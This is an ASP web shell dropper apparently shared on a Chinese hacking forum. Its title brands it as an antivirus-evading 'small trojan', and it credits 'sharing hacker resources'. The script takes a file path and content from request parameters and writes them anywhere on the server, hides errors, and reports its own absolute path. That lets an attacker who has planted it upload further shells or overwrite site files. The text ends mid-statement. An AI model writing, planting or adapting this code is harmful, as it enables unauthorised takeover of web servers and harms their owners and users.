<%
Name="小强免杀ASP小马" '名字
Copyright="{交流黑客技术|共享黑客资源}" '版权
url="http://Www.google.Com" '网址
imgurl="http://p7.images22.51img1.com/6000/god7girl7/7f1718b7d09d22cb0957f1ef93f8873d.gif" '图片
Sub RRS(str):response.write(str):End Sub
RRS""
RRS""
RRS""&Name&""
dim objFSO,fdata,objCountFile
on error resume next
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
if Trim(request("syfdpath"))<>"" then
fdata = request("cyfddata")
Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)
objCountFile.Write fdata
if err =0 then response.write "保存成功!"
err.clear
end if
objCountFile.Close
Set objCountFile=Nothing
Set objFSO = Nothing
response.write " "
response.write "本文件绝对路径"
server.mappath(request.servervariables("script_name"))
response.write " "
RRS"